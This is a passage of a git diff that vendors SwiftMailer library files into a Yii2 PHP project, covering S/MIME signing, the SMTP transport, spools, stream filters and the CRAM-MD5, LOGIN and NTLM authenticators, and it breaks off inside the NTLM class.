$this->signPrivateKey[0] = 'file://'.str_replace('\\', '/', realpath($privateKey[0])); + } else { + $this->signPrivateKey = 'file://'.str_replace('\\', '/', realpath($privateKey)); + } + } + + $this->signOptions = $signOptions; + + return $this; + } + + /** + * Set the certificate location to use for encryption. + * + * @link http://www.php.net/manual/en/openssl.pkcs7.flags.php + * @link http://nl3.php.net/manual/en/openssl.ciphers.php + * + * @param string|array $recipientCerts Either an single X.509 certificate, or an assoc array of X.509 certificates. + * @param int $cipher + * + * @return Swift_Signers_SMimeSigner + */ + public function setEncryptCertificate($recipientCerts, $cipher = null) + { + if (is_array($recipientCerts)) { + $this->encryptCert = array(); + + foreach ($recipientCerts as $cert) { + $this->encryptCert[] = 'file://'.str_replace('\\', '/', realpath($cert)); + } + } else { + $this->encryptCert = 'file://'.str_replace('\\', '/', realpath($recipientCerts)); + } + + if (null !== $cipher) { + $this->encryptCipher = $cipher; + } + + return $this; + } + + /** + * @return string + */ + public function getSignCertificate() + { + return $this->signCertificate; + } + + /** + * @return string + */ + public function getSignPrivateKey() + { + return $this->signPrivateKey; + } + + /** + * Set perform signing before encryption. + * + * The default is to first sign the message and then encrypt. + * But some older mail clients, namely Microsoft Outlook 2000 will work when the message first encrypted. + * As this goes against the official specs, its recommended to only use 'encryption -> signing' when specifically targeting these 'broken' clients. + * + * @param string $signThenEncrypt + * + * @return Swift_Signers_SMimeSigner + */ + public function setSignThenEncrypt($signThenEncrypt = true) + { + $this->signThenEncrypt = $signThenEncrypt; + + return $this; + } + + /** + * @return bool + */ + public function isSignThenEncrypt() + { + return $this->signThenEncrypt; + } + + /** + * Resets internal states. + * + * @return Swift_Signers_SMimeSigner + */ + public function reset() + { + return $this; + } + + /** + * Change the Swift_Message to apply the signing. + * + * @param Swift_Message $message + * + * @return Swift_Signers_SMimeSigner + */ + public function signMessage(Swift_Message $message) + { + if (null === $this->signCertificate && null === $this->encryptCert) { + return $this; + } + + // Store the message using ByteStream to a file{1} + // Remove all Children + // Sign file{1}, parse the new MIME headers and set them on the primary MimeEntity + // Set the singed-body as the new body (without boundary) + + $messageStream = new Swift_ByteStream_TemporaryFileByteStream(); + $this->toSMimeByteStream($messageStream, $message); + $message->setEncoder(Swift_DependencyContainer::getInstance()->lookup('mime.rawcontentencoder')); + + $message->setChildren(array()); + $this->streamToMime($messageStream, $message); + } + + /** + * Return the list of header a signer might tamper. + * + * @return array + */ + public function getAlteredHeaders() + { + return array('Content-Type', 'Content-Transfer-Encoding', 'Content-Disposition'); + } + + /** + * @param Swift_InputByteStream $inputStream + * @param Swift_Message $mimeEntity + */ + protected function toSMimeByteStream(Swift_InputByteStream $inputStream, Swift_Message $message) + { + $mimeEntity = $this->createMessage($message); + $messageStream = new Swift_ByteStream_TemporaryFileByteStream(); + + $mimeEntity->toByteStream($messageStream); + $messageStream->commit(); + + if (null !== $this->signCertificate && null !== $this->encryptCert) { + $temporaryStream = new Swift_ByteStream_TemporaryFileByteStream(); + + if ($this->signThenEncrypt) { + $this->messageStreamToSignedByteStream($messageStream, $temporaryStream); + $this->messageStreamToEncryptedByteStream($temporaryStream, $inputStream); + } else { + $this->messageStreamToEncryptedByteStream($messageStream, $temporaryStream); + $this->messageStreamToSignedByteStream($temporaryStream, $inputStream); + } + } elseif ($this->signCertificate !== null) { + $this->messageStreamToSignedByteStream($messageStream, $inputStream); + } else { + $this->messageStreamToEncryptedByteStream($messageStream, $inputStream); + } + } + + /** + * @param Swift_Message $message + * + * @return Swift_Message + */ + protected function createMessage(Swift_Message $message) + { + $mimeEntity = new Swift_Message('', $message->getBody(), $message->getContentType(), $message->getCharset()); + $mimeEntity->setChildren($message->getChildren()); + + $messageHeaders = $mimeEntity->getHeaders(); + $messageHeaders->remove('Message-ID'); + $messageHeaders->remove('Date'); + $messageHeaders->remove('Subject'); + $messageHeaders->remove('MIME-Version'); + $messageHeaders->remove('To'); + $messageHeaders->remove('From'); + + return $mimeEntity; + } + + /** + * @param Swift_FileStream $outputStream + * @param Swift_InputByteStream $inputStream + * + * @throws Swift_IoException + */ + protected function messageStreamToSignedByteStream(Swift_FileStream $outputStream, Swift_InputByteStream $inputStream) + { + $signedMessageStream = new Swift_ByteStream_TemporaryFileByteStream(); + + if (!openssl_pkcs7_sign($outputStream->getPath(), $signedMessageStream->getPath(), $this->signCertificate, $this->signPrivateKey, array(), $this->signOptions)) { + throw new Swift_IoException(sprintf('Failed to sign S/Mime message. Error: "%s".', openssl_error_string())); + } + + $this->copyFromOpenSSLOutput($signedMessageStream, $inputStream); + } + + /** + * @param Swift_FileStream $outputStream + * @param Swift_InputByteStream $is + * + * @throws Swift_IoException + */ + protected function messageStreamToEncryptedByteStream(Swift_FileStream $outputStream, Swift_InputByteStream $is) + { + $encryptedMessageStream = new Swift_ByteStream_TemporaryFileByteStream(); + + if (!openssl_pkcs7_encrypt($outputStream->getPath(), $encryptedMessageStream->getPath(), $this->encryptCert, array(), 0, $this->encryptCipher)) { + throw new Swift_IoException(sprintf('Failed to encrypt S/Mime message. Error: "%s".', openssl_error_string())); + } + + $this->copyFromOpenSSLOutput($encryptedMessageStream, $is); + } + + /** + * @param Swift_OutputByteStream $fromStream + * @param Swift_InputByteStream $toStream + */ + protected function copyFromOpenSSLOutput(Swift_OutputByteStream $fromStream, Swift_InputByteStream $toStream) + { + $bufferLength = 4096; + $filteredStream = new Swift_ByteStream_TemporaryFileByteStream(); + $filteredStream->addFilter($this->replacementFactory->createFilter("\r\n", "\n"), 'CRLF to LF'); + $filteredStream->addFilter($this->replacementFactory->createFilter("\n", "\r\n"), 'LF to CRLF'); + + while (false !== ($buffer = $fromStream->read($bufferLength))) { + $filteredStream->write($buffer); + } + + $filteredStream->flushBuffers(); + + while (false !== ($buffer = $filteredStream->read($bufferLength))) { + $toStream->write($buffer); + } + + $toStream->commit(); + } + + /** + * Merges an OutputByteStream to Swift_Message. + * + * @param Swift_OutputByteStream $fromStream + * @param Swift_Message $message + */ + protected function streamToMime(Swift_OutputByteStream $fromStream, Swift_Message $message) + { + $bufferLength = 78; + $headerData = ''; + + $fromStream->setReadPointer(0); + + while (($buffer = $fromStream->read($bufferLength)) !== false) { + $headerData .= $buffer; + + if (false !== strpos($buffer, "\r\n\r\n")) { + break; + } + } + + $headersPosEnd = strpos($headerData, "\r\n\r\n"); + $headerData = trim($headerData); + $headerData = substr($headerData, 0, $headersPosEnd); + $headerLines = explode("\r\n", $headerData); + unset($headerData); + + $headers = array(); + $currentHeaderName = ''; + + foreach ($headerLines as $headerLine) { + // Line separated + if (ctype_space($headerLines[0]) || false === strpos($headerLine, ':')) { + $headers[$currentHeaderName] .= ' '.trim($headerLine); + continue; + } + + $header = explode(':', $headerLine, 2); + $currentHeaderName = strtolower($header[0]); + $headers[$currentHeaderName] = trim($header[1]); + } + + $messageStream = new Swift_ByteStream_TemporaryFileByteStream(); + $messageStream->addFilter($this->replacementFactory->createFilter("\r\n", "\n"), 'CRLF to LF'); + $messageStream->addFilter($this->replacementFactory->createFilter("\n", "\r\n"), 'LF to CRLF'); + + $messageHeaders = $message->getHeaders(); + + // No need to check for 'application/pkcs7-mime', as this is always base64 + if ('multipart/signed;' === substr($headers['content-type'], 0, 17)) { + if (!preg_match('/boundary=("[^"]+"|(?:[^\s]+|$))/is', $headers['content-type'], $contentTypeData)) { + throw new Swift_SwiftException('Failed to find Boundary parameter'); + } + + $boundary = trim($contentTypeData['1'], '"'); + $boundaryLen = strlen($boundary); + + // Skip the header and CRLF CRLF + $fromStream->setReadPointer($headersPosEnd + 4); + + while (false !== ($buffer = $fromStream->read($bufferLength))) { + $messageStream->write($buffer); + } + + $messageStream->commit(); + + $messageHeaders->remove('Content-Transfer-Encoding'); + $message->setContentType($headers['content-type']); + $message->setBoundary($boundary); + $message->setBody($messageStream); + } else { + $fromStream->setReadPointer($headersPosEnd + 4); + + if (null === $this->headerFactory) { + $this->headerFactory = Swift_DependencyContainer::getInstance()->lookup('mime.headerfactory'); + } + + $message->setContentType($headers['content-type']); + $messageHeaders->set($this->headerFactory->createTextHeader('Content-Transfer-Encoding', $headers['content-transfer-encoding'])); + $messageHeaders->set($this->headerFactory->createTextHeader('Content-Disposition', $headers['content-disposition'])); + + while (false !== ($buffer = $fromStream->read($bufferLength))) { + $messageStream->write($buffer); + } + + $messageStream->commit(); + $message->setBody($messageStream); + } + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/SmtpTransport.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/SmtpTransport.php new file mode 100644 index 00000000..5d4945e1 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/SmtpTransport.php @@ -0,0 +1,57 @@ +createDependenciesFor('transport.smtp') + ); + + $this->setHost($host); + $this->setPort($port); + $this->setEncryption($security); + } + + /** + * Create a new SmtpTransport instance. + * + * @param string $host + * @param int $port + * @param string $security + * + * @return Swift_SmtpTransport + */ + public static function newInstance($host = 'localhost', $port = 25, $security = null) + { + return new self($host, $port, $security); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Spool.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Spool.php new file mode 100644 index 00000000..afae5fac --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Spool.php @@ -0,0 +1,53 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +/** + * Interface for spools. + * + * @author Fabien Potencier + */ +interface Swift_Spool +{ + /** + * Starts this Spool mechanism. + */ + public function start(); + + /** + * Stops this Spool mechanism. + */ + public function stop(); + + /** + * Tests if this Spool mechanism has started. + * + * @return bool + */ + public function isStarted(); + + /** + * Queues a message. + * + * @param Swift_Mime_Message $message The message to store + * + * @return bool Whether the operation has succeeded + */ + public function queueMessage(Swift_Mime_Message $message); + + /** + * Sends messages using the given transport instance. + * + * @param Swift_Transport $transport A transport instance + * @param string[] $failedRecipients An array of failures by-reference + * + * @return int The number of sent emails + */ + public function flushQueue(Swift_Transport $transport, &$failedRecipients = null); +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/SpoolTransport.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/SpoolTransport.php new file mode 100644 index 00000000..9351c40d --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/SpoolTransport.php @@ -0,0 +1,47 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +/** + * Stores Messages in a queue. + * + * @author Fabien Potencier + */ +class Swift_SpoolTransport extends Swift_Transport_SpoolTransport +{ + /** + * Create a new SpoolTransport. + * + * @param Swift_Spool $spool + */ + public function __construct(Swift_Spool $spool) + { + $arguments = Swift_DependencyContainer::getInstance() + ->createDependenciesFor('transport.spool'); + + $arguments[] = $spool; + + call_user_func_array( + array($this, 'Swift_Transport_SpoolTransport::__construct'), + $arguments + ); + } + + /** + * Create a new SpoolTransport instance. + * + * @param Swift_Spool $spool + * + * @return Swift_SpoolTransport + */ + public static function newInstance(Swift_Spool $spool) + { + return new self($spool); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/StreamFilter.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/StreamFilter.php new file mode 100644 index 00000000..1c3fd3a5 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/StreamFilter.php @@ -0,0 +1,35 @@ +_search = $search; + $this->_index = array(); + $this->_tree = array(); + $this->_replace = array(); + $this->_repSize = array(); + + $tree = null; + $i = null; + $last_size = $size = 0; + foreach ($search as $i => $search_element) { + if ($tree !== null) { + $tree[-1] = min (count($replace) - 1, $i - 1); + $tree[-2] = $last_size; + } + $tree = &$this->_tree; + if (is_array ($search_element)) { + foreach ($search_element as $k => $char) { + $this->_index[$char] = true; + if (!isset($tree[$char])) { + $tree[$char] = array(); + } + $tree = &$tree[$char]; + } + $last_size = $k+1; + $size = max($size, $last_size); + } else { + $last_size = 1; + if (!isset($tree[$search_element])) { + $tree[$search_element] = array(); + } + $tree = &$tree[$search_element]; + $size = max($last_size, $size); + $this->_index[$search_element] = true; + } + } + if ($i !== null) { + $tree[-1] = min (count ($replace) - 1, $i); + $tree[-2] = $last_size; + $this->_treeMaxLen = $size; + } + foreach ($replace as $rep) { + if (!is_array($rep)) { + $rep = array ($rep); + } + $this->_replace[] = $rep; + } + for ($i = count($this->_replace) - 1; $i >= 0; --$i) { + $this->_replace[$i] = $rep = $this->filter($this->_replace[$i], $i); + $this->_repSize[$i] = count($rep); + } + } + + /** + * Returns true if based on the buffer passed more bytes should be buffered. + * + * @param array $buffer + * + * @return bool + */ + public function shouldBuffer($buffer) + { + $endOfBuffer = end($buffer); + + return isset ($this->_index[$endOfBuffer]); + } + + /** + * Perform the actual replacements on $buffer and return the result. + * + * @param array $buffer + * @param int $_minReplaces + * + * @return array + */ + public function filter($buffer, $_minReplaces = -1) + { + if ($this->_treeMaxLen == 0) { + return $buffer; + } + + $newBuffer = array(); + $buf_size = count($buffer); + for ($i = 0; $i < $buf_size; ++$i) { + $search_pos = $this->_tree; + $last_found = PHP_INT_MAX; + // We try to find if the next byte is part of a search pattern + for ($j = 0; $j <= $this->_treeMaxLen; ++$j) { + // We have a new byte for a search pattern + if (isset ($buffer [$p = $i + $j]) && isset($search_pos[$buffer[$p]])) { + $search_pos = $search_pos[$buffer[$p]]; + // We have a complete pattern, save, in case we don't find a better match later + if (isset($search_pos[- 1]) && $search_pos[-1] < $last_found + && $search_pos[-1] > $_minReplaces) { + $last_found = $search_pos[-1]; + $last_size = $search_pos[-2]; + } + } + // We got a complete pattern + elseif ($last_found !== PHP_INT_MAX) { + // Adding replacement datas to output buffer + $rep_size = $this->_repSize[$last_found]; + for ($j = 0; $j < $rep_size; ++$j) { + $newBuffer[] = $this->_replace[$last_found][$j]; + } + // We Move cursor forward + $i += $last_size - 1; + // Edge Case, last position in buffer + if ($i >= $buf_size) { + $newBuffer[] = $buffer[$i]; + } + + // We start the next loop + continue 2; + } else { + // this byte is not in a pattern and we haven't found another pattern + break; + } + } + // Normal byte, move it to output buffer + $newBuffer[] = $buffer[$i]; + } + + return $newBuffer; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/StreamFilters/StringReplacementFilter.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/StreamFilters/StringReplacementFilter.php new file mode 100644 index 00000000..e6b9e7b8 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/StreamFilters/StringReplacementFilter.php @@ -0,0 +1,66 @@ +_search = $search; + $this->_replace = $replace; + } + + /** + * Returns true if based on the buffer passed more bytes should be buffered. + * + * @param string $buffer + * + * @return bool + */ + public function shouldBuffer($buffer) + { + $endOfBuffer = substr($buffer, -1); + foreach ((array) $this->_search as $needle) { + if (false !== strpos($needle, $endOfBuffer)) { + return true; + } + } + + return false; + } + + /** + * Perform the actual replacements on $buffer and return the result. + * + * @param string $buffer + * + * @return string + */ + public function filter($buffer) + { + return str_replace($this->_search, $this->_replace, $buffer); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/StreamFilters/StringReplacementFilterFactory.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/StreamFilters/StringReplacementFilterFactory.php new file mode 100644 index 00000000..4b12cfff --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/StreamFilters/StringReplacementFilterFactory.php @@ -0,0 +1,45 @@ +_filters[$search][$replace])) { + if (!isset($this->_filters[$search])) { + $this->_filters[$search] = array(); + } + + if (!isset($this->_filters[$search][$replace])) { + $this->_filters[$search][$replace] = array(); + } + + $this->_filters[$search][$replace] = new Swift_StreamFilters_StringReplacementFilter($search, $replace); + } + + return $this->_filters[$search][$replace]; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/SwiftException.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/SwiftException.php new file mode 100644 index 00000000..22ee3eb4 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/SwiftException.php @@ -0,0 +1,27 @@ +_eventDispatcher = $dispatcher; + $this->_buffer = $buf; + $this->_lookupHostname(); + } + + /** + * Set the name of the local domain which Swift will identify itself as. + * + * This should be a fully-qualified domain name and should be truly the domain + * you're using. + * + * If your server doesn't have a domain name, use the IP in square + * brackets (i.e. [127.0.0.1]). + * + * @param string $domain + * + * @return Swift_Transport_AbstractSmtpTransport + */ + public function setLocalDomain($domain) + { + $this->_domain = $domain; + + return $this; + } + + /** + * Get the name of the domain Swift will identify as. + * + * @return string + */ + public function getLocalDomain() + { + return $this->_domain; + } + + /** + * Sets the source IP. + * + * @param string $source + */ + public function setSourceIp($source) + { + $this->_sourceIp = $source; + } + + /** + * Returns the IP used to connect to the destination + * + * @return string + */ + public function getSourceIp() + { + return $this->_sourceIp; + } + + /** + * Start the SMTP connection. + */ + public function start() + { + if (!$this->_started) { + if ($evt = $this->_eventDispatcher->createTransportChangeEvent($this)) { + $this->_eventDispatcher->dispatchEvent($evt, 'beforeTransportStarted'); + if ($evt->bubbleCancelled()) { + return; + } + } + + try { + $this->_buffer->initialize($this->_getBufferParams()); + } catch (Swift_TransportException $e) { + $this->_throwException($e); + } + $this->_readGreeting(); + $this->_doHeloCommand(); + + if ($evt) { + $this->_eventDispatcher->dispatchEvent($evt, 'transportStarted'); + } + + $this->_started = true; + } + } + + /** + * Test if an SMTP connection has been established. + * + * @return bool + */ + public function isStarted() + { + return $this->_started; + } + + /** + * Send the given Message. + * + * Recipient/sender data will be retrieved from the Message API. + * The return value is the number of recipients who were accepted for delivery. + * + * @param Swift_Mime_Message $message + * @param string[] $failedRecipients An array of failures by-reference + * + * @return int + */ + public function send(Swift_Mime_Message $message, &$failedRecipients = null) + { + $sent = 0; + $failedRecipients = (array) $failedRecipients; + + if ($evt = $this->_eventDispatcher->createSendEvent($this, $message)) { + $this->_eventDispatcher->dispatchEvent($evt, 'beforeSendPerformed'); + if ($evt->bubbleCancelled()) { + return 0; + } + } + + if (!$reversePath = $this->_getReversePath($message)) { + throw new Swift_TransportException( + 'Cannot send message without a sender address' + ); + } + + $to = (array) $message->getTo(); + $cc = (array) $message->getCc(); + $tos = array_merge($to, $cc); + $bcc = (array) $message->getBcc(); + + $message->setBcc(array()); + + try { + $sent += $this->_sendTo($message, $reversePath, $tos, $failedRecipients); + $sent += $this->_sendBcc($message, $reversePath, $bcc, $failedRecipients); + } catch (Exception $e) { + $message->setBcc($bcc); + throw $e; + } + + $message->setBcc($bcc); + + if ($evt) { + if ($sent == count($to) + count($cc) + count($bcc)) { + $evt->setResult(Swift_Events_SendEvent::RESULT_SUCCESS); + } elseif ($sent > 0) { + $evt->setResult(Swift_Events_SendEvent::RESULT_TENTATIVE); + } else { + $evt->setResult(Swift_Events_SendEvent::RESULT_FAILED); + } + $evt->setFailedRecipients($failedRecipients); + $this->_eventDispatcher->dispatchEvent($evt, 'sendPerformed'); + } + + $message->generateId(); //Make sure a new Message ID is used + + return $sent; + } + + /** + * Stop the SMTP connection. + */ + public function stop() + { + if ($this->_started) { + if ($evt = $this->_eventDispatcher->createTransportChangeEvent($this)) { + $this->_eventDispatcher->dispatchEvent($evt, 'beforeTransportStopped'); + if ($evt->bubbleCancelled()) { + return; + } + } + + try { + $this->executeCommand("QUIT\r\n", array(221)); + } catch (Swift_TransportException $e) { + } + + try { + $this->_buffer->terminate(); + + if ($evt) { + $this->_eventDispatcher->dispatchEvent($evt, 'transportStopped'); + } + } catch (Swift_TransportException $e) { + $this->_throwException($e); + } + } + $this->_started = false; + } + + /** + * Register a plugin. + * + * @param Swift_Events_EventListener $plugin + */ + public function registerPlugin(Swift_Events_EventListener $plugin) + { + $this->_eventDispatcher->bindEventListener($plugin); + } + + /** + * Reset the current mail transaction. + */ + public function reset() + { + $this->executeCommand("RSET\r\n", array(250)); + } + + /** + * Get the IoBuffer where read/writes are occurring. + * + * @return Swift_Transport_IoBuffer + */ + public function getBuffer() + { + return $this->_buffer; + } + + /** + * Run a command against the buffer, expecting the given response codes. + * + * If no response codes are given, the response will not be validated. + * If codes are given, an exception will be thrown on an invalid response. + * + * @param string $command + * @param int[] $codes + * @param string[] $failures An array of failures by-reference + * + * @return string + */ + public function executeCommand($command, $codes = array(), &$failures = null) + { + $failures = (array) $failures; + $seq = $this->_buffer->write($command); + $response = $this->_getFullResponse($seq); + if ($evt = $this->_eventDispatcher->createCommandEvent($this, $command, $codes)) { + $this->_eventDispatcher->dispatchEvent($evt, 'commandSent'); + } + $this->_assertResponseCode($response, $codes); + + return $response; + } + + /** Read the opening SMTP greeting */ + protected function _readGreeting() + { + $this->_assertResponseCode($this->_getFullResponse(0), array(220)); + } + + /** Send the HELO welcome */ + protected function _doHeloCommand() + { + $this->executeCommand( + sprintf("HELO %s\r\n", $this->_domain), array(250) + ); + } + + /** Send the MAIL FROM command */ + protected function _doMailFromCommand($address) + { + $this->executeCommand( + sprintf("MAIL FROM: <%s>\r\n", $address), array(250) + ); + } + + /** Send the RCPT TO command */ + protected function _doRcptToCommand($address) + { + $this->executeCommand( + sprintf("RCPT TO: <%s>\r\n", $address), array(250, 251, 252) + ); + } + + /** Send the DATA command */ + protected function _doDataCommand() + { + $this->executeCommand("DATA\r\n", array(354)); + } + + /** Stream the contents of the message over the buffer */ + protected function _streamMessage(Swift_Mime_Message $message) + { + $this->_buffer->setWriteTranslations(array("\r\n." => "\r\n..")); + try { + $message->toByteStream($this->_buffer); + $this->_buffer->flushBuffers(); + } catch (Swift_TransportException $e) { + $this->_throwException($e); + } + $this->_buffer->setWriteTranslations(array()); + $this->executeCommand("\r\n.\r\n", array(250)); + } + + /** Determine the best-use reverse path for this message */ + protected function _getReversePath(Swift_Mime_Message $message) + { + $return = $message->getReturnPath(); + $sender = $message->getSender(); + $from = $message->getFrom(); + $path = null; + if (!empty($return)) { + $path = $return; + } elseif (!empty($sender)) { + // Don't use array_keys + reset($sender); // Reset Pointer to first pos + $path = key($sender); // Get key + } elseif (!empty($from)) { + reset($from); // Reset Pointer to first pos + $path = key($from); // Get key + } + + return $path; + } + + /** Throw a TransportException, first sending it to any listeners */ + protected function _throwException(Swift_TransportException $e) + { + if ($evt = $this->_eventDispatcher->createTransportExceptionEvent($this, $e)) { + $this->_eventDispatcher->dispatchEvent($evt, 'exceptionThrown'); + if (!$evt->bubbleCancelled()) { + throw $e; + } + } else { + throw $e; + } + } + + /** Throws an Exception if a response code is incorrect */ + protected function _assertResponseCode($response, $wanted) + { + list($code) = sscanf($response, '%3d'); + $valid = (empty($wanted) || in_array($code, $wanted)); + + if ($evt = $this->_eventDispatcher->createResponseEvent($this, $response, + $valid)) { + $this->_eventDispatcher->dispatchEvent($evt, 'responseReceived'); + } + + if (!$valid) { + $this->_throwException( + new Swift_TransportException( + 'Expected response code '.implode('/', $wanted).' but got code '. + '"'.$code.'", with message "'.$response.'"', + $code) + ); + } + } + + /** Get an entire multi-line response using its sequence number */ + protected function _getFullResponse($seq) + { + $response = ''; + try { + do { + $line = $this->_buffer->readLine($seq); + $response .= $line; + } while (null !== $line && false !== $line && ' ' != $line{3}); + } catch (Swift_TransportException $e) { + $this->_throwException($e); + } catch (Swift_IoException $e) { + $this->_throwException( + new Swift_TransportException( + $e->getMessage()) + ); + } + + return $response; + } + + /** Send an email to the given recipients from the given reverse path */ + private function _doMailTransaction($message, $reversePath, array $recipients, array &$failedRecipients) + { + $sent = 0; + $this->_doMailFromCommand($reversePath); + foreach ($recipients as $forwardPath) { + try { + $this->_doRcptToCommand($forwardPath); + $sent++; + } catch (Swift_TransportException $e) { + $failedRecipients[] = $forwardPath; + } + } + + if ($sent != 0) { + $this->_doDataCommand(); + $this->_streamMessage($message); + } else { + $this->reset(); + } + + return $sent; + } + + /** Send a message to the given To: recipients */ + private function _sendTo(Swift_Mime_Message $message, $reversePath, array $to, array &$failedRecipients) + { + if (empty($to)) { + return 0; + } + + return $this->_doMailTransaction($message, $reversePath, array_keys($to), + $failedRecipients); + } + + /** Send a message to all Bcc: recipients */ + private function _sendBcc(Swift_Mime_Message $message, $reversePath, array $bcc, array &$failedRecipients) + { + $sent = 0; + foreach ($bcc as $forwardPath => $name) { + $message->setBcc(array($forwardPath => $name)); + $sent += $this->_doMailTransaction( + $message, $reversePath, array($forwardPath), $failedRecipients + ); + } + + return $sent; + } + + /** Try to determine the hostname of the server this is run on */ + private function _lookupHostname() + { + if (!empty($_SERVER['SERVER_NAME']) + && $this->_isFqdn($_SERVER['SERVER_NAME'])) { + $this->_domain = $_SERVER['SERVER_NAME']; + } elseif (!empty($_SERVER['SERVER_ADDR'])) { + $this->_domain = sprintf('[%s]', $_SERVER['SERVER_ADDR']); + } + } + + /** Determine is the $hostname is a fully-qualified name */ + private function _isFqdn($hostname) + { + // We could do a really thorough check, but there's really no point + if (false !== $dotPos = strpos($hostname, '.')) { + return ($dotPos > 0) && ($dotPos != strlen($hostname) - 1); + } else { + return false; + } + } + + /** + * Destructor. + */ + public function __destruct() + { + $this->stop(); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/Esmtp/Auth/CramMd5Authenticator.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/Esmtp/Auth/CramMd5Authenticator.php new file mode 100644 index 00000000..4774e032 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/Esmtp/Auth/CramMd5Authenticator.php @@ -0,0 +1,81 @@ +executeCommand("AUTH CRAM-MD5\r\n", array(334)); + $challenge = base64_decode(substr($challenge, 4)); + $message = base64_encode( + $username.' '.$this->_getResponse($password, $challenge) + ); + $agent->executeCommand(sprintf("%s\r\n", $message), array(235)); + + return true; + } catch (Swift_TransportException $e) { + $agent->executeCommand("RSET\r\n", array(250)); + + return false; + } + } + + /** + * Generate a CRAM-MD5 response from a server challenge. + * + * @param string $secret + * @param string $challenge + * + * @return string + */ + private function _getResponse($secret, $challenge) + { + if (strlen($secret) > 64) { + $secret = pack('H32', md5($secret)); + } + + if (strlen($secret) < 64) { + $secret = str_pad($secret, 64, chr(0)); + } + + $k_ipad = substr($secret, 0, 64) ^ str_repeat(chr(0x36), 64); + $k_opad = substr($secret, 0, 64) ^ str_repeat(chr(0x5C), 64); + + $inner = pack('H32', md5($k_ipad.$challenge)); + $digest = md5($k_opad.$inner); + + return $digest; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/Esmtp/Auth/LoginAuthenticator.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/Esmtp/Auth/LoginAuthenticator.php new file mode 100644 index 00000000..ebb35520 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/Esmtp/Auth/LoginAuthenticator.php @@ -0,0 +1,51 @@ +executeCommand("AUTH LOGIN\r\n", array(334)); + $agent->executeCommand(sprintf("%s\r\n", base64_encode($username)), array(334)); + $agent->executeCommand(sprintf("%s\r\n", base64_encode($password)), array(235)); + + return true; + } catch (Swift_TransportException $e) { + $agent->executeCommand("RSET\r\n", array(250)); + + return false; + } + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/Esmtp/Auth/NTLMAuthenticator.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/Esmtp/Auth/NTLMAuthenticator.php new file mode 100644 index 00000000..2c02bd2c --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/Esmtp/Auth/NTLMAuthenticator.php @@ -0,0 +1,700 @@ + + */ +class Swift_Transport_Esmtp_Auth_NTLMAuthenticator implements Swift_Transport_Esmtp_Authenticator +{ + const NTLMSIG = "NTLMSSP\x00"; + const DESCONST = "KGS!@#$%"; + + /** + * Get the name of the AUTH mechanism this Authenticator handles. + * + * @return string + */ + public function getAuthKeyword() + { + return 'NTLM'; + } + + /** + * Try to authenticate the user with $username and $password. + * + * @param Swift_Transport_SmtpAgent $agent + * @param string $username + * @param string $password + * + * @return bool + */ + public function authenticate(Swift_Transport_SmtpAgent $agent, $username, $password) + { + if (!function_exists('mcrypt_module_open')) { + throw new LogicException('The mcrypt functions need to be enabled to use the NTLM authenticator.'); + } + + if (!function_exists('openssl_random_pseudo_bytes')) { + throw new LogicException('The OpenSSL extension must be enabled to use the NTLM authenticator.'); + } + + if (!function_exists('bcmul')) { + throw new LogicException('The BCMatch functions must be enabled to use the NTLM authenticator.'); + } + + try { + // execute AUTH command and filter out the code at the beginning + // AUTH NTLM xxxx + $response = base64_decode(substr(trim($this->sendMessage1($agent)), 4)); + + // extra parameters for our unit cases + $timestamp = func_num_args() > 3 ? func_get_arg(3) : $this->getCorrectTimestamp(bcmul(microtime(true), "1000")); + $client = func_num_args() > 4 ? func_get_arg(4) : $this->getRandomBytes(8); + + // Message 3 response + $this->sendMessage3($response, $username, $password, $timestamp, $client, $agent); + + return true; + } catch (Swift_TransportException $e) { + $agent->executeCommand("RSET\r\n", array(250)); + + return false; + } + } + + protected function si2bin($si, $bits = 32) + { + $bin = null; + if ($si >= -pow(2, $bits - 1) && ($si <= pow(2, $bits - 1))) { + // positive or 